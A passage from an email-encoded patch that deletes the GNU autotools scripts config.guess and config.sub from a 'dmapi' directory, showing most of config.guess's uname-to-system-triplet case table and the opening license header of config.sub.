9000/8??:4.3bsd:*:*) -=09echo hppa1.0-hp-bsd -=09exit 0 ;; - *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) -=09echo hppa1.0-hp-mpeix -=09exit 0 ;; - hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) -=09echo hppa1.1-hp-osf -=09exit 0 ;; - hp8??:OSF1:*:*) -=09echo hppa1.0-hp-osf -=09exit 0 ;; - i*86:OSF1:*:*) -=09if [ -x /usr/sbin/sysversion ] ; then -=09 echo ${UNAME_MACHINE}-unknown-osf1mk -=09else -=09 echo ${UNAME_MACHINE}-unknown-osf1 -=09fi -=09exit 0 ;; - parisc*:Lites*:*:*) -=09echo hppa1.1-hp-lites -=09exit 0 ;; - C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) -=09echo c1-convex-bsd - exit 0 ;; - C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) -=09if getsysinfo -f scalar_acc -=09then echo c32-convex-bsd -=09else echo c2-convex-bsd -=09fi - exit 0 ;; - C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) -=09echo c34-convex-bsd - exit 0 ;; - C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) -=09echo c38-convex-bsd - exit 0 ;; - C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) -=09echo c4-convex-bsd - exit 0 ;; - CRAY*Y-MP:*:*:*) -=09echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' -=09exit 0 ;; - CRAY*[A-Z]90:*:*:*) -=09echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ -=09| sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ -=09 -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ -=09 -e 's/\.[^.]*$/.X/' -=09exit 0 ;; - CRAY*TS:*:*:*) -=09echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' -=09exit 0 ;; - CRAY*T3E:*:*:*) -=09echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X= /' -=09exit 0 ;; - CRAY*SV1:*:*:*) -=09echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' -=09exit 0 ;; - *:UNICOS/mp:*:*) -=09echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' -=09exit 0 ;; - F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) -=09FUJITSU_PROC=3D`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefg= hijklmnopqrstuvwxyz'` - FUJITSU_SYS=3D`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abc= defghijklmnopqrstuvwxyz' | sed -e 's/\///'` - FUJITSU_REL=3D`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` - echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" - exit 0 ;; - 5000:UNIX_System_V:4.*:*) - FUJITSU_SYS=3D`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abc= defghijklmnopqrstuvwxyz' | sed -e 's/\///'` - FUJITSU_REL=3D`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRS= TUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` - echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" -=09exit 0 ;; - i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) -=09echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} -=09exit 0 ;; - sparc*:BSD/OS:*:*) -=09echo sparc-unknown-bsdi${UNAME_RELEASE} -=09exit 0 ;; - *:BSD/OS:*:*) -=09echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} -=09exit 0 ;; - *:FreeBSD:*:*) -=09echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e = 's/[-(].*//'` -=09exit 0 ;; - i*:CYGWIN*:*) -=09echo ${UNAME_MACHINE}-pc-cygwin -=09exit 0 ;; - i*:MINGW*:*) -=09echo ${UNAME_MACHINE}-pc-mingw32 -=09exit 0 ;; - i*:PW*:*) -=09echo ${UNAME_MACHINE}-pc-pw32 -=09exit 0 ;; - x86:Interix*:[34]*) -=09echo i586-pc-interix${UNAME_RELEASE}|sed -e 's/\..*//' -=09exit 0 ;; - [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*= ) -=09echo i${UNAME_MACHINE}-pc-mks -=09exit 0 ;; - i*:Windows_NT*:* | Pentium*:Windows_NT*:*) -=09# How do we know it's Interix rather than the generic POSIX subsyst= em? -=09# It also conflicts with pre-2.0 versions of AT&T UWIN. Should we -=09# UNAME_MACHINE based on the output of uname instead of i386? -=09echo i586-pc-interix -=09exit 0 ;; - i*:UWIN*:*) -=09echo ${UNAME_MACHINE}-pc-uwin -=09exit 0 ;; - p*:CYGWIN*:*) -=09echo powerpcle-unknown-cygwin -=09exit 0 ;; - prep*:SunOS:5.*:*) -=09echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.= ]*//'` -=09exit 0 ;; - *:GNU:*:*) -=09# the GNU system -=09echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo = ${UNAME_RELEASE}|sed -e 's,/.*$,,'` -=09exit 0 ;; - *:GNU/*:*:*) -=09# other systems with GNU libc and userland -=09echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*= /,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-g= nu -=09exit 0 ;; - i*86:Minix:*:*) -=09echo ${UNAME_MACHINE}-pc-minix -=09exit 0 ;; - arm*:Linux:*:*) -=09echo ${UNAME_MACHINE}-${VENDOR}-linux -=09exit 0 ;; - cris:Linux:*:*) -=09echo cris-axis-linux -=09exit 0 ;; - ia64:Linux:*:*) -=09echo ${UNAME_MACHINE}-${VENDOR}-linux -=09exit 0 ;; - m32r*:Linux:*:*) -=09echo ${UNAME_MACHINE}-${VENDOR}-linux -=09exit 0 ;; - m68*:Linux:*:*) -=09echo ${UNAME_MACHINE}-${VENDOR}-linux -=09exit 0 ;; - mips:Linux:*:*) -=09eval $set_cc_for_build -=09sed 's/^=09//' << EOF >$dummy.c -=09#undef CPU -=09#undef mips -=09#undef mipsel -=09#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) ||= defined(MIPSEL) -=09CPU=3Dmipsel -=09#else -=09#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) ||= defined(MIPSEB) -=09CPU=3Dmips -=09#else -=09CPU=3D -=09#endif -=09#endif -EOF -=09eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=3D` -=09test x"${CPU}" !=3D x && echo "${CPU}-${VENDOR}-linux" && exit 0 -=09;; - mips64:Linux:*:*) -=09eval $set_cc_for_build -=09sed 's/^=09//' << EOF >$dummy.c -=09#undef CPU -=09#undef mips64 -=09#undef mips64el -=09#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) ||= defined(MIPSEL) -=09CPU=3Dmips64el -=09#else -=09#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) ||= defined(MIPSEB) -=09CPU=3Dmips64 -=09#else -=09CPU=3D -=09#endif -=09#endif -EOF -=09eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=3D` -=09test x"${CPU}" !=3D x && echo "${CPU}-${VENDOR}-linux" && exit 0 -=09;; - ppc:Linux:*:*) -=09echo powerpc-${VENDOR}-linux -=09exit 0 ;; - ppc64:Linux:*:*) -=09echo powerpc64-${VENDOR}-linux -=09exit 0 ;; - alpha:Linux:*:*) -=09case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in -=09 EV5) UNAME_MACHINE=3Dalphaev5 ;; -=09 EV56) UNAME_MACHINE=3Dalphaev56 ;; -=09 PCA56) UNAME_MACHINE=3Dalphapca56 ;; -=09 PCA57) UNAME_MACHINE=3Dalphapca56 ;; -=09 EV6) UNAME_MACHINE=3Dalphaev6 ;; -=09 EV67) UNAME_MACHINE=3Dalphaev67 ;; -=09 EV68*) UNAME_MACHINE=3Dalphaev68 ;; - esac -=09objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null -=09if test "$?" =3D 0 ; then LIBC=3D"-libc1" ; else LIBC=3D"" ; fi -=09echo ${UNAME_MACHINE}-${VENDOR}-linux${LIBC} -=09exit 0 ;; - parisc:Linux:*:* | hppa:Linux:*:*) -=09# Look for CPU level -=09case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2= ` in -=09 PA7*) echo hppa1.1-${VENDOR}-linux ;; -=09 PA8*) echo hppa2.0-${VENDOR}-linux ;; -=09 *) echo hppa-${VENDOR}-linux ;; -=09esac -=09exit 0 ;; - parisc64:Linux:*:* | hppa64:Linux:*:*) -=09echo hppa64-${VENDOR}-linux -=09exit 0 ;; - s390:Linux:*:* | s390x:Linux:*:*) -=09echo ${UNAME_MACHINE}-ibm-linux -=09exit 0 ;; - sh64*:Linux:*:*) - =09echo ${UNAME_MACHINE}-${VENDOR}-linux -=09exit 0 ;; - sh*:Linux:*:*) -=09echo ${UNAME_MACHINE}-${VENDOR}-linux -=09exit 0 ;; - sparc:Linux:*:* | sparc64:Linux:*:*) -=09echo ${UNAME_MACHINE}-${VENDOR}-linux -=09exit 0 ;; - x86_64:Linux:*:*) -=09echo x86_64-${VENDOR}-linux -=09exit 0 ;; - i*86:Linux:*:*) -=09# The BFD linker knows what the default object file format is, so -=09# first see if it will tell us. cd to the root directory to prevent -=09# problems with other programs or directories called `ld' in the pa= th. -=09# Set LC_ALL=3DC to ensure ld outputs messages in English. -=09ld_supported_targets=3D`cd /; LC_ALL=3DC ld --help 2>&1 \ -=09=09=09 | sed -ne '/supported targets:/!d -=09=09=09=09 s/[ =09][ =09]*/ /g -=09=09=09=09 s/.*supported targets: *// -=09=09=09=09 s/ .*// -=09=09=09=09 p'` - case "$ld_supported_targets" in -=09 elf32-i386) -=09=09TENTATIVE=3D"${UNAME_MACHINE}-${VENDOR}-linux" -=09=09;; -=09 a.out-i386-linux) -=09=09echo "${UNAME_MACHINE}-${VENDOR}-linuxaout" -=09=09exit 0 ;; -=09 coff-i386) -=09=09echo "${UNAME_MACHINE}-${VENDOR}-linuxcoff" -=09=09exit 0 ;; -=09 "") -=09=09# Either a pre-BFD a.out linker (linuxoldld) or -=09=09# one that does not give us useful --help. -=09=09echo "${UNAME_MACHINE}-${VENDOR}-linuxoldld" -=09=09exit 0 ;; -=09esac -=09# Determine whether the default compiler is a.out or elf -=09eval $set_cc_for_build -=09sed 's/^=09//' << EOF >$dummy.c -=09#include -=09#ifdef __ELF__ -=09# ifdef __GLIBC__ -=09# if __GLIBC__ >=3D 2 -=09LIBC=3Dgnu -=09# else -=09LIBC=3Dgnulibc1 -=09# endif -=09# else -=09LIBC=3Dgnulibc1 -=09# endif -=09#else -=09#ifdef __INTEL_COMPILER -=09LIBC=3Dgnu -=09#else -=09LIBC=3Dgnuaout -=09#endif -=09#endif -=09#ifdef __dietlibc__ -=09LIBC=3Ddietlibc -=09#endif -EOF -=09eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=3D` -=09test x"${LIBC}" !=3D x && echo "${UNAME_MACHINE}-${VENDOR}-linux-${= LIBC}" | sed 's/linux-gnu/linux/' && exit 0 -=09test x"${TENTATIVE}" !=3D x && echo "${TENTATIVE}" && exit 0 -=09;; - i*86:DYNIX/ptx:4*:*) -=09# ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. -=09# earlier versions are messed up and put the nodename in both -=09# sysname and nodename. -=09echo i386-sequent-sysv4 -=09exit 0 ;; - i*86:UNIX_SV:4.2MP:2.*) - # Unixware is an offshoot of SVR4, but it has its own version - # number series starting with 2... - # I am not positive that other SVR4 systems won't match this, -=09# I just have to hope. -- rms. - # Use sysv4.2uw... so that sysv4* matches it. -=09echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} -=09exit 0 ;; - i*86:OS/2:*:*) -=09# If we were able to find `uname', then EMX Unix compatibility -=09# is probably installed. -=09echo ${UNAME_MACHINE}-pc-os2-emx -=09exit 0 ;; - i*86:XTS-300:*:STOP) -=09echo ${UNAME_MACHINE}-unknown-stop -=09exit 0 ;; - i*86:atheos:*:*) -=09echo ${UNAME_MACHINE}-unknown-atheos -=09exit 0 ;; -=09i*86:syllable:*:*) -=09echo ${UNAME_MACHINE}-pc-syllable -=09exit 0 ;; - i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*) -=09echo i386-unknown-lynxos${UNAME_RELEASE} -=09exit 0 ;; - i*86:*DOS:*:*) -=09echo ${UNAME_MACHINE}-pc-msdosdjgpp -=09exit 0 ;; - i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) -=09UNAME_REL=3D`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` -=09if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then -=09=09echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} -=09else -=09=09echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} -=09fi -=09exit 0 ;; - i*86:*:5:[78]*) -=09case `/bin/uname -X | grep "^Machine"` in -=09 *486*)=09 UNAME_MACHINE=3Di486 ;; -=09 *Pentium)=09 UNAME_MACHINE=3Di586 ;; -=09 *Pent*|*Celeron) UNAME_MACHINE=3Di686 ;; -=09esac -=09echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${= UNAME_VERSION} -=09exit 0 ;; - i*86:*:3.2:*) -=09if test -f /usr/options/cb.name; then -=09=09UNAME_REL=3D`sed -n 's/.*Version //p' /dev/null >/dev/null ; then -=09=09UNAME_REL=3D`(/bin/uname -X|grep Release|sed -e 's/.*=3D //')` -=09=09(/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=3Di486 -=09=09(/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ -=09=09=09&& UNAME_MACHINE=3Di586 -=09=09(/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ -=09=09=09&& UNAME_MACHINE=3Di686 -=09=09(/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ -=09=09=09&& UNAME_MACHINE=3Di686 -=09=09echo ${UNAME_MACHINE}-pc-sco$UNAME_REL -=09else -=09=09echo ${UNAME_MACHINE}-pc-sysv32 -=09fi -=09exit 0 ;; - pc:*:*:*) -=09# Left here for compatibility: - # uname -m prints for DJGPP always 'pc', but it prints nothing= about - # the processor, so we play safe by assuming i386. -=09echo i386-pc-msdosdjgpp - exit 0 ;; - Intel:Mach:3*:*) -=09echo i386-pc-mach3 -=09exit 0 ;; - paragon:*:*:*) -=09echo i860-intel-osf1 -=09exit 0 ;; - i860:*:4.*:*) # i860-SVR4 -=09if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then -=09 echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SV= R4 -=09else # Add other i860-SVR4 vendors below as they are discovered. -=09 echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 -=09fi -=09exit 0 ;; - mini*:CTIX:SYS*5:*) -=09# "miniframe" -=09echo m68010-convergent-sysv -=09exit 0 ;; - mc68k:UNIX:SYSTEM5:3.51m) -=09echo m68k-convergent-sysv -=09exit 0 ;; - M680?0:D-NIX:5.3:*) -=09echo m68k-diab-dnix -=09exit 0 ;; - M68*:*:R3V[5678]*:*) -=09test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; - 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[= 34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 |= SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) -=09OS_REL=3D'' -=09test -r /etc/.relid \ -=09&& OS_REL=3D.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.= relid` -=09/bin/uname -p 2>/dev/null | grep 86 >/dev/null \ -=09 && echo i486-ncr-sysv4.3${OS_REL} && exit 0 -=09/bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ -=09 && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; - 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && echo i486-ncr-sysv4 && exit 0 ;; - m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) -=09echo m68k-unknown-lynxos${UNAME_RELEASE} -=09exit 0 ;; - mc68030:UNIX_System_V:4.*:*) -=09echo m68k-atari-sysv4 -=09exit 0 ;; - TSUNAMI:LynxOS:2.*:*) -=09echo sparc-unknown-lynxos${UNAME_RELEASE} -=09exit 0 ;; - rs6000:LynxOS:2.*:*) -=09echo rs6000-unknown-lynxos${UNAME_RELEASE} -=09exit 0 ;; - PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4= .0*:*) -=09echo powerpc-unknown-lynxos${UNAME_RELEASE} -=09exit 0 ;; - SM[BE]S:UNIX_SV:*:*) -=09echo mips-dde-sysv${UNAME_RELEASE} -=09exit 0 ;; - RM*:ReliantUNIX-*:*:*) -=09echo mips-sni-sysv4 -=09exit 0 ;; - RM*:SINIX-*:*:*) -=09echo mips-sni-sysv4 -=09exit 0 ;; - *:SINIX-*:*:*) -=09if uname -p 2>/dev/null >/dev/null ; then -=09=09UNAME_MACHINE=3D`(uname -p) 2>/dev/null` -=09=09echo ${UNAME_MACHINE}-sni-sysv4 -=09else -=09=09echo ns32k-sni-sysv -=09fi -=09exit 0 ;; - PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort - # says - echo i586-unisys-sysv4 - exit 0 ;; - *:UNIX_System_V:4*:FTX*) -=09# From Gerald Hewes . -=09# How about differentiating between stratus architectures? -djm -=09echo hppa1.1-stratus-sysv4 -=09exit 0 ;; - *:*:*:FTX*) -=09# From seanf@swdc.stratus.com. -=09echo i860-stratus-sysv4 -=09exit 0 ;; - *:VOS:*:*) -=09# From Paul.Green@stratus.com. -=09echo hppa1.1-stratus-vos -=09exit 0 ;; - mc68*:A/UX:*:*) -=09echo m68k-apple-aux${UNAME_RELEASE} -=09exit 0 ;; - news*:NEWS-OS:6*:*) -=09echo mips-sony-newsos6 -=09exit 0 ;; - R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) -=09if [ -d /usr/nec ]; then -=09 echo mips-nec-sysv${UNAME_RELEASE} -=09else -=09 echo mips-unknown-sysv${UNAME_RELEASE} -=09fi - exit 0 ;; - BeBox:BeOS:*:*)=09# BeOS running on hardware made by Be, PPC only. -=09echo powerpc-be-beos -=09exit 0 ;; - BeMac:BeOS:*:*)=09# BeOS running on Mac or Mac clone, PPC only. -=09echo powerpc-apple-beos -=09exit 0 ;; - BePC:BeOS:*:*)=09# BeOS running on Intel PC compatible. -=09echo i586-pc-beos -=09exit 0 ;; - SX-4:SUPER-UX:*:*) -=09echo sx4-nec-superux${UNAME_RELEASE} -=09exit 0 ;; - SX-5:SUPER-UX:*:*) -=09echo sx5-nec-superux${UNAME_RELEASE} -=09exit 0 ;; - SX-6:SUPER-UX:*:*) -=09echo sx6-nec-superux${UNAME_RELEASE} -=09exit 0 ;; - Power*:Rhapsody:*:*) -=09echo powerpc-apple-rhapsody${UNAME_RELEASE} -=09exit 0 ;; - *:Rhapsody:*:*) -=09echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} -=09exit 0 ;; - *:Darwin:*:*) -=09UNAME_PROCESSOR=3D`uname -p` || UNAME_PROCESSOR=3Dunknown -=09case $UNAME_PROCESSOR in -=09 *86) UNAME_PROCESSOR=3Di686 ;; -=09 unknown) UNAME_PROCESSOR=3Dpowerpc ;; -=09esac -=09echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} -=09exit 0 ;; - *:procnto*:*:* | *:QNX:[0123456789]*:*) -=09UNAME_PROCESSOR=3D`uname -p` -=09if test "$UNAME_PROCESSOR" =3D "x86"; then -=09=09UNAME_PROCESSOR=3Di386 -=09=09UNAME_MACHINE=3Dpc -=09fi -=09echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} -=09exit 0 ;; - *:QNX:*:4*) -=09echo i386-pc-qnx -=09exit 0 ;; - NSR-?:NONSTOP_KERNEL:*:*) -=09echo nsr-tandem-nsk${UNAME_RELEASE} -=09exit 0 ;; - *:NonStop-UX:*:*) -=09echo mips-compaq-nonstopux -=09exit 0 ;; - BS2000:POSIX*:*:*) -=09echo bs2000-siemens-sysv -=09exit 0 ;; - DS/*:UNIX_System_V:*:*) -=09echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} -=09exit 0 ;; - *:Plan9:*:*) -=09# "uname -m" is not consistent, so use $cputype instead. 386 -=09# is converted to i386 for consistency with other x86 -=09# operating systems. -=09if test "$cputype" =3D "386"; then -=09 UNAME_MACHINE=3Di386 -=09else -=09 UNAME_MACHINE=3D"$cputype" -=09fi -=09echo ${UNAME_MACHINE}-unknown-plan9 -=09exit 0 ;; - *:TOPS-10:*:*) -=09echo pdp10-unknown-tops10 -=09exit 0 ;; - *:TENEX:*:*) -=09echo pdp10-unknown-tenex -=09exit 0 ;; - KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) -=09echo pdp10-dec-tops20 -=09exit 0 ;; - XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) -=09echo pdp10-xkl-tops20 -=09exit 0 ;; - *:TOPS-20:*:*) -=09echo pdp10-unknown-tops20 -=09exit 0 ;; - *:ITS:*:*) -=09echo pdp10-unknown-its -=09exit 0 ;; - SEI:*:*:SEIUX) - echo mips-sei-seiux${UNAME_RELEASE} -=09exit 0 ;; - *:DragonFly:*:*) -=09echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -= e 's/[-(].*//'` -=09exit 0 ;; - *:*VMS:*:*) - =09UNAME_MACHINE=3D`(uname -p) 2>/dev/null` -=09case "${UNAME_MACHINE}" in -=09 A*) echo alpha-dec-vms && exit 0 ;; -=09 I*) echo ia64-dec-vms && exit 0 ;; -=09 V*) echo vax-dec-vms && exit 0 ;; -=09esac -esac - -#echo '(No uname command or uname output not recognized.)' 1>&2 -#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSI= ON}" 1>&2 - -eval $set_cc_for_build -cat >$dummy.c < -# include -#endif -main () -{ -#if defined (sony) -#if defined (MIPSEB) - /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be chang= ed, - I don't know.... */ - printf ("mips-sony-bsd\n"); exit (0); -#else -#include - printf ("m68k-sony-newsos%s\n", -#ifdef NEWSOS4 - "4" -#else -=09 "" -#endif - ); exit (0); -#endif -#endif - -#if defined (__arm) && defined (__acorn) && defined (__unix) - printf ("arm-acorn-riscix"); exit (0); -#endif - -#if defined (hp300) && !defined (hpux) - printf ("m68k-hp-bsd\n"); exit (0); -#endif - -#if defined (NeXT) -#if !defined (__ARCHITECTURE__) -#define __ARCHITECTURE__ "m68k" -#endif - int version; - version=3D`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/= dev/null`; - if (version < 4) - printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); - else - printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); - exit (0); -#endif - -#if defined (MULTIMAX) || defined (n16) -#if defined (UMAXV) - printf ("ns32k-encore-sysv\n"); exit (0); -#else -#if defined (CMU) - printf ("ns32k-encore-mach\n"); exit (0); -#else - printf ("ns32k-encore-bsd\n"); exit (0); -#endif -#endif -#endif - -#if defined (__386BSD__) - printf ("i386-pc-bsd\n"); exit (0); -#endif - -#if defined (sequent) -#if defined (i386) - printf ("i386-sequent-dynix\n"); exit (0); -#endif -#if defined (ns32000) - printf ("ns32k-sequent-dynix\n"); exit (0); -#endif -#endif - -#if defined (_SEQUENT_) - struct utsname un; - - uname(&un); - - if (strncmp(un.version, "V2", 2) =3D=3D 0) { -=09printf ("i386-sequent-ptx2\n"); exit (0); - } - if (strncmp(un.version, "V1", 2) =3D=3D 0) { /* XXX is V1 correct?= */ -=09printf ("i386-sequent-ptx1\n"); exit (0); - } - printf ("i386-sequent-ptx\n"); exit (0); - -#endif - -#if defined (vax) -# if !defined (ultrix) -# include -# if defined (BSD) -# if BSD =3D=3D 43 - printf ("vax-dec-bsd4.3\n"); exit (0); -# else -# if BSD =3D=3D 199006 - printf ("vax-dec-bsd4.3reno\n"); exit (0); -# else - printf ("vax-dec-bsd\n"); exit (0); -# endif -# endif -# else - printf ("vax-dec-bsd\n"); exit (0); -# endif -# else - printf ("vax-dec-ultrix\n"); exit (0); -# endif -#endif - -#if defined (alliant) && defined (i860) - printf ("i860-alliant-bsd\n"); exit (0); -#endif - - exit (1); -} -EOF - -$CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && $dummy && exit 0 - -# Apollos put the system type in the environment. - -test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } - -# Convex versions that predate uname can use getsysinfo(1) - -if [ -x /usr/convex/getsysinfo ] -then - case `getsysinfo -f cpu_type` in - c1*) -=09echo c1-convex-bsd -=09exit 0 ;; - c2*) -=09if getsysinfo -f scalar_acc -=09then echo c32-convex-bsd -=09else echo c2-convex-bsd -=09fi -=09exit 0 ;; - c34*) -=09echo c34-convex-bsd -=09exit 0 ;; - c38*) -=09echo c38-convex-bsd -=09exit 0 ;; - c4*) -=09echo c4-convex-bsd -=09exit 0 ;; - esac -fi - -cat >&2 < in order to provide the needed -information to handle your system. - -config.guess timestamp =3D $timestamp - -uname -m =3D `(uname -m) 2>/dev/null || echo unknown` -uname -r =3D `(uname -r) 2>/dev/null || echo unknown` -uname -s =3D `(uname -s) 2>/dev/null || echo unknown` -uname -v =3D `(uname -v) 2>/dev/null || echo unknown` - -/usr/bin/uname -p =3D `(/usr/bin/uname -p) 2>/dev/null` -/bin/uname -X =3D `(/bin/uname -X) 2>/dev/null` - -hostinfo =3D `(hostinfo) 2>/dev/null` -/bin/universe =3D `(/bin/universe) 2>/dev/null` -/usr/bin/arch -k =3D `(/usr/bin/arch -k) 2>/dev/null` -/bin/arch =3D `(/bin/arch) 2>/dev/null` -/usr/bin/oslevel =3D `(/usr/bin/oslevel) 2>/dev/null` -/usr/convex/getsysinfo =3D `(/usr/convex/getsysinfo) 2>/dev/null` - -UNAME_MACHINE =3D ${UNAME_MACHINE} -UNAME_RELEASE =3D ${UNAME_RELEASE} -UNAME_SYSTEM =3D ${UNAME_SYSTEM} -UNAME_VERSION =3D ${UNAME_VERSION} -EOF - -exit 1 - -# Local variables: -# eval: (add-hook 'write-file-hooks 'time-stamp) -# time-stamp-start: "timestamp=3D'" -# time-stamp-format: "%:y-%02m-%02d" -# time-stamp-end: "'" -# End: Index: b/dmapi/config.sub =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/config.sub +++ /dev/null @@ -1,1549 +0,0 @@ -#! /bin/sh -# Configuration validation subroutine script. -# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, -# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. - -timestamp=3D'2004-06-24' - -# This file is (in principle) common to ALL GNU software. -# The presence of a machine in this file suggests that SOME GNU softwa= re -# can handle that machine. It does not imply ALL GNU software can. -# -# This file is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place - Suite 330, -# Boston, MA 02111-1307, USA. - -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that progra= m. - -# Please send patches to . Submit a context -# diff and a properly formatted ChangeLog entry. -# -# Configuration subroutine to validate and canonicalize a configuratio= n type. -# Supply the specified configuration type as an argument. -# If it is invalid, we print an error message on stderr and exit with = code 1. -# Otherwise, we print the canonical config type on stdout and succeed. - -# This file is supposed to be the same for all GNU packages -# and recognize all the CPU types, system types and aliases -# that are meaningful with *any* GNU software. -# Each package is responsible for reporting which valid configurations -# it does not support. The user should be able to distinguish -# a 